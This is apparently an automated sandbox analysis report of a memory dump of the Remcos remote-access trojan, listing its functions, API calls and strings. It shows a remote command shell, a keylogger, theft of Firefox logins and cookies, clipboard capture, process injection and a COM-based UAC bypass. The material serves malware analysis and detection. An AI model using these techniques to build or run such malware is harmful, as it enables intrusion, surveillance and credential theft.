Part of subcall function 0041B4EF: GetLocalTime.KERNEL32(00000000), ref: 0041B509

Part of subcall function 00404AA1: WaitForSingleObject.KERNEL32(?,00000000,00401A45,?,?,00000004,?,?,00000004,00476B50,00474EE0,00000000), ref: 00404B47
Part of subcall function 00404AA1: SetEvent.KERNEL32(?,?,?,00000004,?,?,00000004,00476B50,00474EE0,00000000,?,?,?,?,?,00401A45), ref: 00404B75

ShellExecuteW.SHELL32(00000000,open,00000000,00000000,00000000,00000001), ref: 00408197
GetLogicalDriveStringsA.KERNEL32 ref: 00408278
SetFileAttributesW.KERNEL32(00000000,?,00000000,00000001), ref: 004084C4
DeleteFileA.KERNEL32(?), ref: 00408652

Part of subcall function 0040880C: __EH_prolog.LIBCMT ref: 00408811
Part of subcall function 0040880C: FindFirstFileW.KERNEL32(00000000,?,00466608,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 004088CA
Part of subcall function 0040880C: __CxxThrowException@8.LIBVCRUNTIME ref: 004088F2
Part of subcall function 0040880C: FindNextFileW.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 004088FF

Sleep.KERNEL32(000007D0), ref: 004086F8
StrToIntA.SHLWAPI(00000000), ref: 0040873A

Part of subcall function 0041C9E2: SystemParametersInfoW.USER32 ref: 0041CAD7

Strings

Downloaded file: , xrefs: 0040802E
open, xrefs: 00408191
Downloading file: , xrefs: 00407F7D
Deleted file: , xrefs: 00407DC8
XPG, xrefs: 00408430
XPG, xrefs: 00408718
XPG, xrefs: 00407DED
Browsing directory: , xrefs: 00408238
Executing file: , xrefs: 004081AD
Unable to delete: , xrefs: 00407E07
XPG, xrefs: 004082E7
NG, xrefs: 00407CE5
Unable to rename file!, xrefs: 00408413
(PG, xrefs: 004081F2
Failed to download file: , xrefs: 004080A5

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: File$Find$AttributesDeleteDirectoryEventFirstNextRemove$CloseDriveException@8ExecuteH_prologInfoLocalLogicalObjectParametersShellSingleSleepStringsSystemThrowTimeWaitsend
String ID: (PG$Browsing directory: $Deleted file: $Downloaded file: $Downloading file: $Executing file: $Failed to download file: $Unable to delete: $Unable to rename file!$XPG$XPG$XPG$XPG$open$NG
API String ID: 1067849700-181434739
Opcode ID: 8f1de24e8e2415dac4a89a953b4d4385ab3642e9f2366ded161f37adb31fab15
Instruction ID: 75e26f7f6c3f3dbd7fc3c9379f58c72dc3a715cd35b24c1fb8b7d51949cc7e38
Opcode Fuzzy Hash: 8f1de24e8e2415dac4a89a953b4d4385ab3642e9f2366ded161f37adb31fab15
Instruction Fuzzy Hash: FE427F71A043016BC604FB76C95B9AE77A5AF91348F40093FF542671E2EE7C9A08879B

Function 0040569A Relevance: 40.5, APIs: 15, Strings: 8, Instructions: 278pipesleepfileCOMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 004056E6

Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36

__Init_thread_footer.LIBCMT ref: 00405723
CreatePipe.KERNEL32(00476CCC,00476CB4,00476BD8,00000000,004660BC,00000000), ref: 004057B6
CreatePipe.KERNEL32(00476CB8,00476CD4,00476BD8,00000000), ref: 004057CC
CreateProcessA.KERNEL32(00000000,00000000,00000000,00000000,00000001,00000000,00000000,00000000,00476BE8,00476CBC), ref: 0040583F
Sleep.KERNEL32(0000012C,00000093,?), ref: 00405897
PeekNamedPipe.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 004058BC
ReadFile.KERNEL32(00000000,?,?,00000000), ref: 004058E9

Part of subcall function 00434770: __onexit.LIBCMT ref: 00434776

WriteFile.KERNEL32(00000000,00000000,?,00000000,00474F90), ref: 004059E4
Sleep.KERNEL32(00000064,00000062,004660A4), ref: 004059FE
TerminateProcess.KERNEL32(00000000), ref: 00405A17
CloseHandle.KERNEL32 ref: 00405A23
CloseHandle.KERNEL32 ref: 00405A2B
CloseHandle.KERNEL32 ref: 00405A3D
CloseHandle.KERNEL32 ref: 00405A45

Strings

0lG, xrefs: 0040585A
kG, xrefs: 004057DB
SystemDrive, xrefs: 00405761
0lG, xrefs: 00405954
cmd.exe, xrefs: 0040574D
0lG, xrefs: 004056D0
0lG, xrefs: 00405A2D
0lG, xrefs: 00405988

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: CloseHandle$CreatePipe$FileInit_thread_footerProcessSleep$NamedPeekReadTerminateWrite__onexitsend
String ID: 0lG$0lG$0lG$0lG$0lG$SystemDrive$cmd.exe$kG
API String ID: 2994406822-18413064
Opcode ID: ff9017fe4a47b23c9c3faeacfcf4d74826474996782d69eafc0bdbb16b5f5ff1
Instruction ID: 70e6a120cd26ef4d63fea04585a98dfb86eec3f3f3d93349c630b188a9e88b71
Opcode Fuzzy Hash: ff9017fe4a47b23c9c3faeacfcf4d74826474996782d69eafc0bdbb16b5f5ff1
Instruction Fuzzy Hash: 8891E471604604AFD711FB36ED42A6F369AEB84308F01443FF989A62E2DB7D9C448B5D

Function 004120F7 Relevance: 30.0, APIs: 7, Strings: 10, Instructions: 238threadCOMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32 ref: 00412106

Part of subcall function 00413877: RegCreateKeyA.ADVAPI32(80000001,00000000,004660A4), ref: 00413885
Part of subcall function 00413877: RegSetValueExA.ADVAPI32(004660A4,000000AF,00000000,00000004,00000001,00000004), ref: 004138A0
Part of subcall function 00413877: RegCloseKey.ADVAPI32(004660A4), ref: 004138AB

OpenMutexA.KERNEL32 ref: 00412146
CloseHandle.KERNEL32(00000000), ref: 00412155
CreateThread.KERNEL32(00000000,00000000,004127EE,00000000,00000000,00000000), ref: 004121AB
OpenProcess.KERNEL32(001FFFFF,00000000,?), ref: 0041241A

Strings

WinDir, xrefs: 0041221B, 00412270
svchost.exe, xrefs: 004122C5
WDH, xrefs: 004121B5, 004121BB, 00412420
Watchdog module activated, xrefs: 00412184, 004123DC
fsutil.exe, xrefs: 0041230F
rmclient.exe, xrefs: 004122EA
\SysWOW64\, xrefs: 00412261
\system32\, xrefs: 00412209
Remcos restarted by watchdog!, xrefs: 00412160
Watchdog launch failed!, xrefs: 00412383

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: CloseCreateOpenProcess$CurrentHandleMutexThreadValue
String ID: Remcos restarted by watchdog!$WDH$Watchdog launch failed!$Watchdog module activated$WinDir$\SysWOW64\$\system32\$fsutil.exe$rmclient.exe$svchost.exe
API String ID: 3018269243-13974260
Opcode ID: d6daba7efe88dd7c886cc9b50d5ab07a0a3d3aefa5ec7567085e39cb97412374
Instruction ID: 8205490d34a3093c97c97cf0412c87f535f0d81ed9353c04b1464aab831027f3
Opcode Fuzzy Hash: d6daba7efe88dd7c886cc9b50d5ab07a0a3d3aefa5ec7567085e39cb97412374
Instruction Fuzzy Hash: 2671813160430167C614FB72CD579AE73A4AF90308F50057FB546A61E2FFBC9949C69E

Function 0040BB30 Relevance: 24.6, APIs: 8, Strings: 6, Instructions: 146fileCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNEL32(00000000,?,00000000,\AppData\Roaming\Mozilla\Firefox\Profiles\), ref: 0040BBAF
FindClose.KERNEL32(00000000), ref: 0040BBC9
FindNextFileA.KERNEL32(00000000,?), ref: 0040BCEC
FindClose.KERNEL32(00000000), ref: 0040BD12

Strings

\AppData\Roaming\Mozilla\Firefox\Profiles\, xrefs: 0040BB52
[Firefox StoredLogins Cleared!], xrefs: 0040BCFF
[Firefox StoredLogins not found], xrefs: 0040BBD4
\key3.db, xrefs: 0040BC76
UserProfile, xrefs: 0040BB60
\logins.json, xrefs: 0040BC34

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: Find$CloseFile$FirstNext
String ID: [Firefox StoredLogins Cleared!]$[Firefox StoredLogins not found]$UserProfile$\AppData\Roaming\Mozilla\Firefox\Profiles\$\key3.db$\logins.json
API String ID: 1164774033-3681987949
Opcode ID: cc2b906fffab3f5d65509244bf78c58c3969fa81e43ac990ef7529a7089f2592
Instruction ID: 0369a90be492857ee26322cec2c2e6bc6ddf3692cf68474a737f8ca2a3b0d98c
Opcode Fuzzy Hash: cc2b906fffab3f5d65509244bf78c58c3969fa81e43ac990ef7529a7089f2592
Instruction Fuzzy Hash: 13516E3190421A9ADB14F7B2DC56DEEB739AF11304F10057FF406721E2EF785A89CA89

Function 004168C1 Relevance: 22.8, APIs: 12, Strings: 1, Instructions: 80clipboardmemoryCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 004168C2
EmptyClipboard.USER32 ref: 004168D0
GlobalAlloc.KERNEL32(00002000,-00000002), ref: 004168F0
GlobalLock.KERNEL32 ref: 004168F9
GlobalUnlock.KERNEL32(00000000), ref: 0041692F
SetClipboardData.USER32 ref: 00416938
CloseClipboard.USER32 ref: 00416955
OpenClipboard.USER32 ref: 0041695C
GetClipboardData.USER32 ref: 0041696C
GlobalLock.KERNEL32 ref: 00416975
GlobalUnlock.KERNEL32(00000000), ref: 0041697E
CloseClipboard.USER32 ref: 00416984

Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36

Strings

!D@, xrefs: 00417089

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: Clipboard$Global$CloseDataLockOpenUnlock$AllocEmptysend
String ID: !D@
API String ID: 3520204547-604454484
Opcode ID: 3da19db2da9e38382dfa1a35b9112d29995025b8f82a0e1631b12ced5ccb0bf8
Instruction ID: 9e7c9e91df33a813dd3aefbd505e3631e00017b2d00f6ad0929271c723fa7fba
Opcode Fuzzy Hash: 3da19db2da9e38382dfa1a35b9112d29995025b8f82a0e1631b12ced5ccb0bf8
Instruction Fuzzy Hash: 9F212171604301DBD714BB71DC5DABE36A9AF88746F40043EF946921E2EF3C8D45C66A

Function 0040BD37 Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 131fileCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNEL32(00000000,?,00000000,\AppData\Roaming\Mozilla\Firefox\Profiles\), ref: 0040BDAF
FindClose.KERNEL32(00000000), ref: 0040BDC9
FindNextFileA.KERNEL32(00000000,?), ref: 0040BE89
FindClose.KERNEL32(00000000), ref: 0040BEAF
FindClose.KERNEL32(00000000), ref: 0040BED0

Strings

[Firefox Cookies not found], xrefs: 0040BDD4, 0040BE9C
\AppData\Roaming\Mozilla\Firefox\Profiles\, xrefs: 0040BD52
\cookies.sqlite, xrefs: 0040BE2C
[Firefox cookies found, cleared!], xrefs: 0040BEDF
UserProfile, xrefs: 0040BD60

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: Find$Close$File$FirstNext
String ID: [Firefox Cookies not found]$[Firefox cookies found, cleared!]$UserProfile$\AppData\Roaming\Mozilla\Firefox\Profiles\$\cookies.sqlite
API String ID: 3527384056-432212279
Opcode ID: 10bf6c217e0b25296ff8c4f6571a9877a80f89d81c2766d0b614c08461d6f91f
Instruction ID: daa8673b40617291cefb90f55d029d970aaced9502edc59260dc825ad40fac9f
Opcode Fuzzy Hash: 10bf6c217e0b25296ff8c4f6571a9877a80f89d81c2766d0b614c08461d6f91f
Instruction Fuzzy Hash: 38417D3190021AAADB04F7A6DC5A9EEB769DF11704F50017FF506B20D2EF385A46CA9E

Function 0040F474 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 210processCOMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(00000000,?,00000104,00000000,004750E4,?,00475338), ref: 0040F48E
CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0040F4B9
Process32FirstW.KERNEL32(00000000,0000022C), ref: 0040F4D5
Process32NextW.KERNEL32(00000000,0000022C), ref: 0040F554
CloseHandle.KERNEL32(00000000), ref: 0040F563

Part of subcall function 0041C1DD: OpenProcess.KERNEL32(00001000,00000000,?,00000000,00000000,00000000), ref: 0041C1F5
Part of subcall function 0041C1DD: OpenProcess.KERNEL32(00000400,00000000,?,?,00000000,00000000,00000000), ref: 0041C208

CloseHandle.KERNEL32(00000000), ref: 0040F66E

Strings

C:\Program Files(x86)\Internet Explorer\, xrefs: 0040F6BE
ieinstal.exe, xrefs: 0040F6D5
Inj, xrefs: 0040F769
ielowutil.exe, xrefs: 0040F716

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: CloseHandleOpenProcessProcess32$CreateFileFirstModuleNameNextSnapshotToolhelp32
String ID: C:\Program Files(x86)\Internet Explorer\$Inj$ieinstal.exe$ielowutil.exe
API String ID: 3756808967-1743721670
Opcode ID: b1e1f41d80490b315896909958d9242b500036c9ac5089c02299af30cc885f9c
Instruction ID: b3f00c97eb68dcc530bbf6735eb7028ff3362e05d7342ed3a56d945b0ce45bff
Opcode Fuzzy Hash: b1e1f41d80490b315896909958d9242b500036c9ac5089c02299af30cc885f9c
Instruction Fuzzy Hash: F6715E705083419BC724FB21D8959AEB7A5AF90348F50083FF586631E3EF78994ECB5A

Function 00419627 Relevance: 17.7, APIs: 1, Strings: 9, Instructions: 206COMMON

Download Yara Rule

Strings

1, xrefs: 00419695
5, xrefs: 00419809
2, xrefs: 004196F4
3, xrefs: 00419754
4, xrefs: 004197B8
7, xrefs: 0041982A
VG, xrefs: 0041968B
6, xrefs: 00419813
0, xrefs: 00419651

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID:
String ID: 0$1$2$3$4$5$6$7$VG
API String ID: 0-1861860590
Opcode ID: b5a7de883cd012ce8913fa8e37131401e824a11eb2676ecb59610ee39723a0e8
Instruction ID: 08acf1e0be570df0aadc768861284cd9b307e7e5fc43d41925289fb9f64992c1
Opcode Fuzzy Hash: b5a7de883cd012ce8913fa8e37131401e824a11eb2676ecb59610ee39723a0e8
Instruction Fuzzy Hash: A771B2709183019FD304EF21D862BAB7B94DF95310F10492FF5A26B2D1DF78AA49CB96

Function 004074FD Relevance: 15.8, APIs: 2, Strings: 7, Instructions: 56COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00407521
CoGetObject.OLE32(?,00000024,00466518,00000000), ref: 00407582

Strings

[+] ucmAllocateElevatedObject, xrefs: 00407508
{3E5FC7F9-9A51-4367-9063-A120244FBEC7}, xrefs: 00407516, 0040751B, 0040755A
[-] CoGetObject FAILURE, xrefs: 0040758E
[+] CoGetObject, xrefs: 00407561
Elevation:Administrator!new:, xrefs: 00407542
[+] CoGetObject SUCCESS, xrefs: 00407595
$, xrefs: 0040753B

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: Object_wcslen
String ID: $$Elevation:Administrator!new:$[+] CoGetObject$[+] CoGetObject SUCCESS$[+] ucmAllocateElevatedObject$[-] CoGetObject FAILURE${3E5FC7F9-9A51-4367-9063-A120244FBEC7}
API String ID: 240030777-3166923314
Opcode ID: a3f0521951bb9342bb967e70cc438d07290dcccf7f3efa3b8b817ec6fb2293fa
Instruction ID: 36c1a35fc662e139fbe0c3856e6c09b73c1590006896ac343f6f9e6a2f87480d
Opcode Fuzzy Hash: a3f0521951bb9342bb967e70cc438d07290dcccf7f3efa3b8b817ec6fb2293fa
Instruction Fuzzy Hash: 1D115172D04218BAD710E6959C45ADEB7A89B08714F15007BF904B2282E77CAA4486BA

Function 0041A748 Relevance: 15.2, APIs: 10, Instructions: 228serviceCOMMON

Download Yara Rule

APIs

OpenSCManagerA.ADVAPI32(00000000,00000000,00000004,004758E8), ref: 0041A75E
EnumServicesStatusW.ADVAPI32(00000000,0000003B,00000003,?,00000000,?,?,?), ref: 0041A7AD
GetLastError.KERNEL32 ref: 0041A7BB
EnumServicesStatusW.ADVAPI32(00000000,0000003B,00000003,00000000,?,?,?,?), ref: 0041A7F3

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: EnumServicesStatus$ErrorLastManagerOpen
String ID:
API String ID: 3587775597-0
Opcode ID: 23e486b81d5319d6976a5705641320cfcad202a7a3e49a3714ee4dfbb4f6799a
Instruction ID: 0905bbee584710e72bd43cf86ffd47af08151029a50ddcda7611e9b1cb6672f7
Opcode Fuzzy Hash: 23e486b81d5319d6976a5705641320cfcad202a7a3e49a3714ee4dfbb4f6799a
Instruction Fuzzy Hash: A1815F71104305ABC304EB61D885DAFB7A8FF94749F50092FF585521A2EF78EE48CB9A

Function 00452610 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 188COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00448215: GetLastError.KERNEL32(?,0043F720,0043A7F5,0043F720,00474EF8,PkGNG,0043CE15,FF8BC35D,00474EF8,00474EF8), ref: 00448219
Part of subcall function 00448215: _free.LIBCMT ref: 0044824C
Part of subcall function 00448215: SetLastError.KERNEL32(00000000,?,?,00000000), ref: 0044828D
Part of subcall function 00448215: _abort.LIBCMT ref: 00448293

Part of subcall function 00448215: _free.LIBCMT ref: 00448274
Part of subcall function 00448215: SetLastError.KERNEL32(00000000,?,?,00000000), ref: 00448281

GetUserDefaultLCID.KERNEL32(?,?,?), ref: 0045271C
IsValidCodePage.KERNEL32(00000000), ref: 00452777
IsValidLocale.KERNEL32(?,00000001), ref: 00452786
GetLocaleInfoW.KERNEL32(?,00001001,lJD,00000040,?,?,00000055,00000000,?,?,00000055,00000000), ref: 004527CE
GetLocaleInfoW.KERNEL32(?,00001002,00000000,00000040), ref: 004527ED

Strings

lJD, xrefs: 00452626, 004527C5
lJD, xrefs: 00452745, 004526F2, 004526E7
lJD, xrefs: 00452639, 00452649, 00452709, 004526AB, 004526A0, 004526A3, 004526AE, 0045270C

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: ErrorLastLocale$InfoValid_free$CodeDefaultPageUser_abort
String ID: lJD$lJD$lJD
API String ID: 745075371-479184356
Opcode ID: be4990bb79c05073f0fe7f4ee341d14c88f356d0bde4897ead87a4f5288e3279
Instruction ID: 5597d49bf91f8be5c1e88387600e3254545b136a20640e737b6730ed74bf2304
Opcode Fuzzy Hash: be4990bb79c05073f0fe7f4ee341d14c88f356d0bde4897ead87a4f5288e3279
Instruction Fuzzy Hash: 87518371900205ABDF10DFA5CD41ABF77B8AF19702F14047BFD04E7292E7B899488B69

Function 0040C34D Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 112fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00000000,?,\Mozilla\Firefox\Profiles\,00000000), ref: 0040C39B
FindNextFileW.KERNEL32(00000000,?), ref: 0040C46E
FindClose.KERNEL32(00000000), ref: 0040C47D
FindClose.KERNEL32(00000000), ref: 0040C4A8

Strings

AppData, xrefs: 0040C358
\Mozilla\Firefox\Profiles\, xrefs: 0040C36E
\cookies.sqlite, xrefs: 0040C409

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: Find$CloseFile$FirstNext
String ID: AppData$\Mozilla\Firefox\Profiles\$\cookies.sqlite
API String ID: 1164774033-405221262
Opcode ID: 08abbb823d5645fbb38466ebfa51880db55170c7ba6cb46b2d507d1ef508ad21
Instruction ID: 975c513e22faa42ee1994afe11ceef4a5d9ff9fa3a88a4f7cb3cdca8b35e8719
Opcode Fuzzy Hash: 08abbb823d5645fbb38466ebfa51880db55170c7ba6cb46b2d507d1ef508ad21
Instruction Fuzzy Hash: 4131513150021AA6CB14E7A1DC9ADFE7778AF10718F10017FB105B20D2EF789A49CA4D

Function 0041C291 Relevance: 13.6, APIs: 9, Instructions: 106fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,?,?,?,?,?,00474EE0,?), ref: 0041C2EC
FindNextFileW.KERNEL32(00000000,?,?,?,?,?,?,00474EE0,?), ref: 0041C31C
SetFileAttributesW.KERNEL32(?,00000080,?,?,?,?,?,00474EE0,?), ref: 0041C38E
DeleteFileW.KERNEL32(?,?,?,?,?,?,00474EE0,?), ref: 0041C39B

Part of subcall function 0041C291: RemoveDirectoryW.KERNEL32(?,?,?,?,?,?,00474EE0,?), ref: 0041C371

GetLastError.KERNEL32(?,?,?,?,?,00474EE0,?), ref: 0041C3BC
FindClose.KERNEL32(00000000,?,?,?,?,?,00474EE0,?), ref: 0041C3D2
RemoveDirectoryW.KERNEL32(00000000,?,?,?,?,?,00474EE0,?), ref: 0041C3D9
FindClose.KERNEL32(00000000,?,?,?,?,?,00474EE0,?), ref: 0041C3E2

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: FileFind$CloseDirectoryRemove$AttributesDeleteErrorFirstLastNext
String ID:
API String ID: 2341273852-0
Opcode ID: 5daa9100e03deb39a4691b7b17906df9641a5acb862147602035c05749f1dd0e
Instruction ID: c19bc5cae20e4253aafd1d57f534f4f4794eeb6ee7264df4fdb3445c687e6cd6
Opcode Fuzzy Hash: 5daa9100e03deb39a4691b7b17906df9641a5acb862147602035c05749f1dd0e
Instruction Fuzzy Hash: 1331827294031CAADB24E7A1DC88EDB736CAF04305F4405FBF955D2152EB39DAC88B68

Function 00419AF5 Relevance: 12.5, APIs: 2, Strings: 5, Instructions: 245fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00000000,?), ref: 00419D4B
FindNextFileW.KERNEL32(00000000,?,?), ref: 00419E17

Part of subcall function 0041C485: CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000080,00000000), ref: 0041C49E

Strings

PG, xrefs: 00419BD5
PXG, xrefs: 00419E2E
PXG, xrefs: 00419CC8
8SG, xrefs: 00419BEB
NG, xrefs: 00419B25

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: File$Find$CreateFirstNext
String ID: 8SG$PXG$PXG$NG$PG
API String ID: 341183262-3812160132
Opcode ID: c12a7a06cd91389c945adf6a1785f0550749601eff383afe73ed6c7c7bc712d6
Instruction ID: 96038134cf9b6260143958ba34f432c8b7c7433700823f8ab46a3e18139dd1a2
Opcode Fuzzy Hash: c12a7a06cd91389c945adf6a1785f0550749601eff383afe73ed6c7c7bc712d6
Instruction Fuzzy Hash: D48152315083415AC314FB22C856EEFB3A9AF90344F90493FF546671E2EF789A49C69A

Function 0040A2B8 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 63windowCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(00000000,00000000), ref: 0040A2D3
SetWindowsHookExA.USER32(0000000D,0040A2A4,00000000), ref: 0040A2E1
GetLastError.KERNEL32 ref: 0040A2ED

Part of subcall function 0041B4EF: GetLocalTime.KERNEL32(00000000), ref: 0041B509

GetMessageA.USER32 ref: 0040A33B
TranslateMessage.USER32(?), ref: 0040A34A
DispatchMessageA.USER32 ref: 0040A355

Strings

Keylogger initialization failure: error , xrefs: 0040A301

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: Message$DispatchErrorHandleHookLastLocalModuleTimeTranslateWindows
String ID: Keylogger initialization failure: error
API String ID: 3219506041-952744263
Opcode ID: 4f13040d40fce51975cfbbc3673976c4dad95410904dfe41d9466c849e225161
Instruction ID: 26c2bdf112627336efb266b6f5317542b4ef4d62b82d8858756ad59ca9dca42a
Opcode Fuzzy Hash: 4f13040d40fce51975cfbbc3673976c4dad95410904dfe41d9466c849e225161
Instruction Fuzzy Hash: FA11BF32604301ABCB107F76DC0A86B77ECEA95716B10457EFC85E21D1EA38C910CBAA

Function 0040A3E0 Relevance: 12.1, APIs: 8, Instructions: 112keyboardthreadCOMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 0040A416
GetWindowThreadProcessId.USER32(00000000,?), ref: 0040A422
GetKeyboardLayout.USER32 ref: 0040A429
GetKeyState.USER32(00000010), ref: 0040A433
GetKeyboardState.USER32(?), ref: 0040A43E
ToUnicodeEx.USER32 ref: 0040A461
ToUnicodeEx.USER32 ref: 0040A4C1
ToUnicodeEx.USER32 ref: 0040A4FA

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: Unicode$KeyboardStateWindow$ForegroundLayoutProcessThread
String ID:
API String ID: 1888522110-0
Opcode ID: 4ba0a60493bf1cb7a04a280161e9af6e0206db9f66fbe83c406a8642f04fa518
Instruction ID: 5ff565fa5b8df07833abad56ec5ecbabe923af01fc99f1944a330f9e709d98a3
Opcode Fuzzy Hash: 4ba0a60493bf1cb7a04a280161e9af6e0206db9f66fbe83c406a8642f04fa518
Instruction Fuzzy Hash: AE316D72504308FFD710DF94DC45F9BB7ECAB88705F01083AB645D61A0E7B5E9488BA6

Function 00413FCA Relevance: 10.9, APIs: 4, Strings: 2, Instructions: 382registrylibraryloaderCOMMON

Download Yara Rule

APIs

RegCreateKeyExW.ADVAPI32(00000000), ref: 0041409D
RegCloseKey.ADVAPI32(?), ref: 004140A9

Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36

LoadLibraryA.KERNEL32(Shlwapi.dll), ref: 0041426A
GetProcAddress.KERNEL32(00000000), ref: 00414271

Strings

SHDeleteKeyW, xrefs: 00414260
Shlwapi.dll, xrefs: 00414265

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: AddressCloseCreateLibraryLoadProcsend
String ID: SHDeleteKeyW$Shlwapi.dll
API String ID: 2127411465-314212984
Opcode ID: b7359517016e2e52a7d8e2c138735bb23b4c70a2fa5bf599e9a0dfbaddd196e6
Instruction ID: ad322413622673165c78a8c4b5f48079e939d646f467ca97d3bec1feacf55119
Opcode Fuzzy Hash: b7359517016e2e52a7d8e2c138735bb23b4c70a2fa5bf599e9a0dfbaddd196e6
Instruction Fuzzy Hash: F9B1F971A0430066CA14FB76DC5B9AF36A86FD1748F40053FF942771E2EE7C9A4886DA

Function 00449190 Relevance: 10.9, APIs: 7, Instructions: 370timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00449212
_free.LIBCMT ref: 00449236
_free.LIBCMT ref: 004493BD
GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,0045F234), ref: 004493CF
WideCharToMultiByte.KERNEL32(00000000,00000000,00472764,000000FF,00000000,0000003F,00000000,?,?), ref: 00449447
WideCharToMultiByte.KERNEL32(00000000,00000000,004727B8,000000FF,?,0000003F,00000000,?), ref: 00449474
_free.LIBCMT ref: 00449589

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

